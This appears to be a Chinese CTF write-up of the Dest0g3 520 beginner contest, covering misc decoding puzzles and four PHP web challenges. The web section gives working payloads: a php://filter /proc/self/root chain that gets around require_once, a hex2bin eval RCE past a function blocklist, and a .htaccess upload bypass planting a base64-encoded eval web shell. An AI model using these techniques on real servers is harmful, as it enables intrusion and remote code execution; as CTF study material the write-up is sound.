Dest0g3 520迎新赛wp复现

目录

misc

Pngenius

​编辑

EasyEncode

你知道js吗

web

phpdest

EasyPHP 

SimpleRCE

 funny_upload


misc


Pngenius


放入 steg中观察

发现password:Weak_Pas5w0rd

然后放入kali中binwalk发现含有zip

然后foremost进行分离,因为在steg中知道了密码,所以直接拿到flag。

EasyEncode


暴力破解得到一串字符

 摩斯密码解密

然后hex转str

接着就是Unicode解密,最后base64得到flag。

你知道js吗


附件加上后缀.docx是一个word文档,转换字体后得到一段base64

解码后发现 brainfuck

+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.-- 
-.-.- --.++ ++++.
+.--- -..++ ++.<+ ++[-> +++<] >++.< +++[- 
>---< ]>--- ---.+ ++++. -----
.+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.
<++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+
 +++++ .---- -.++. ++.+.
--.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>- 
.+.-. ---.+ ++.+. -.+++
+.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.---
-.--- .+++. -..<+ +++[- >++++ <]>++ 
.<+++ +[->- ---<] >-.++ +++.- ----.
+++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++ 
.---- .+.++ ++.-- --.++
++.-. ----. +.-.+ ++++. 
<+++[ ->+++ <]>++ ++.<

 Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. (bugku.com)网站解密

446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D

 hex转str得到flag

Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}

web


phpdest


题目源码 

 <?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once($_GET['file']);
} 

require_once在调用时php会检查该文件是否已经被包含过,如果是则不会再次包含。

php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,当已经require_once('flag.php'),已经include的文件不可以再require_once。

/proc/self指向当前进程的/proc/pid//proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过,payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

base解密得到flag。参考博客

EasyPHP 


 <?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?> Try harder!

date() 函数可把时间戳格式化为可读性更好的日期和时间。

H小时,24 小时格式,有前导零00 到 23
d月份中的第几天,有前导零的 2 位数字01 到 31
i有前导零的分钟数00 到 59>

 set_error_handler() 函数设置用户自定义的错误处理函数。该函数用于创建运行期间的用户自己的错误处理方法。所以思路就是POST传参,造成报错,执行set_error_handler() 函数,显示flag。

payload:

ctf[]=123

SimpleRCE


 <?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?> 

命令执行,过滤了很多,没有过滤()还有%,同时 str_ireplace函数用hex2bin绕过,正好单引号没有过滤 73797374656d→system,636174202f666c6167→cat /flag。

post传参

aaa=hex2bin('73797374656d')(hex2bin('636174202f666c6167'));

 funny_upload


前端JS有些白名单限制,直接利用插件或者其他办法禁用掉JS
上传过程中发现可以上传.htaccess文件,其次限制了文件后缀名,以及检查文件内容,过滤:<?

可以利用auto_append_file和php伪协议打组合拳绕过。

先是.htaccess文件

Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.jpg"

然后是images.jpg

Content-Disposition: form-data; name="file"; filename="images.jpg"
Content-Type: image/jpeg
 
PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+
# 上面是经过base64加密的 <?php @eval($_POST['pass']);?>

最后蚁剑链接拿到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值